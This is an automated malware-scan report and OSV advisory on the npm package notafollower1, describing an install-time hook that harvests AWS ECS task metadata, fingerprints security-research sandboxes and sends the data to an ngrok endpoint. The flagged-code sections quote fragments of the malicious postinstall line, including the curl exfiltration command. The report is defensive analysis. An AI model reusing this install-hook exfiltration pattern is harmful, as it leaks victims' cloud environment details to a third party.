notafollower1@1.0.9: Malicious npm security report (Block)

AI Security Review

scanned 2d ago · by lpm-firewall-ai

Installation reads available ECS task metadata, including container image and task ARN, then transmits captured console output externally.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm postinstall during package installation.

Impact

Leakes cloud workload-identifying metadata from build or analysis environments.

Mechanism

ECS metadata collection piped to curl exfiltration.

Attack narrative

On installation, the lifecycle hook invokes Node to request the ECS container metadata task endpoint. It extracts container names, images, inferred owners, and the task ARN, prints them, then pipes that output to an external ngrok URL via curl.

Rationale

The sole package behavior is an install-time cloud-metadata collection and external transmission chain, with no package functionality to justify it.

Evidence

package.json

Network endpoints1

mourner-slot-explicit.ngrok-free.dev

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-14034

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in notafollower1 (npm)

Details

package.json declares a postinstall script that automatically runs on npm install and fetches AWS ECS container task metadata via the ECS_CONTAINER_METADATA_URI_V4 endpoint (task ARN, container names, image names), then POSTs the collected data to a hardcoded ngrok tunnel at https://mourner-slot-explicit.ngrok-free.dev using curl. The postinstall also inspects the container image name for substrings matching known security research operators (twbray, packagehound, wiz, oss-dynamic) and labels the payload accordingly, indicating deliberate sandbox and analyst fingerprinting. The destination is an anonymous ngrok tunnel unrelated to any legitimate publisher infrastructure, and the collected data reveals installer-side CI/build/container environment details to a third party.

References

OSV advisory PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

postinstall executes inline Node code during installation.
It reads ECS task/container metadata and pipes the resulting output to an external ngrok endpoint.

Evidence against

Package contains only package.json; no legitimate runtime implementation or stated need for ECS metadata collection.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chainNo supply-chain packaging signals triggered.

Manifest

NoLicense

scanned 0 file(s), 0 B of source

Source & flagged code

4 flagged

package.jsonView file

•scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4+'/task').then(r=>r.json()).then(data=>{data.Containers.forEach(c=>{let owner='unknown'; let img=c.Image; if(img.includes('t...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4+'/task').then(r=>r.json()).then(data=>{data.Containers.forEach(c=>{let owner='unknown'; let img=c.Image; if(img.includes('t...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"postinstall": "node -e \"fetch(process.env.ECS_CONTAINER_METADATA_URI_V4+'/task')

High

Suspicious Lifecycle Evidence

postinstall executes inline Node code during installation.

package.jsonView on unpkg · L5

5console.log('Container:',c.Name,'| Image:',img,'| Guessed owner:',owner,'| Task ARN:',data.TaskARN);})}).catch(e=>console.error(e))\" | curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev' --data-binary @-"

High

Ai Review Evidence

It reads ECS task/container metadata and pipes the resulting output to an external ngrok endpoint.

package.jsonView on unpkg · L5

Source & flagged code

4 flagged · loading source

package.jsonView file

•scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4+'/task').then(r=>r.json()).then(data=>{data.Containers.forEach(c=>{let owner='unknown'; let img=c.Image; if(img.includes('t...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4+'/task').then(r=>r.json()).then(data=>{data.Containers.forEach(c=>{let owner='unknown'; let img=c.Image; if(img.includes('t...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"postinstall": "node -e \"fetch(process.env.ECS_CONTAINER_METADATA_URI_V4+'/task')

High

Suspicious Lifecycle Evidence

postinstall executes inline Node code during installation.

package.jsonView on unpkg · L5

5

Findings

1 Critical3 High2 Low

CriticalRed Install Lifecycle Scriptpackage.json

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencepackage.json

LowScripts Present

LowNo License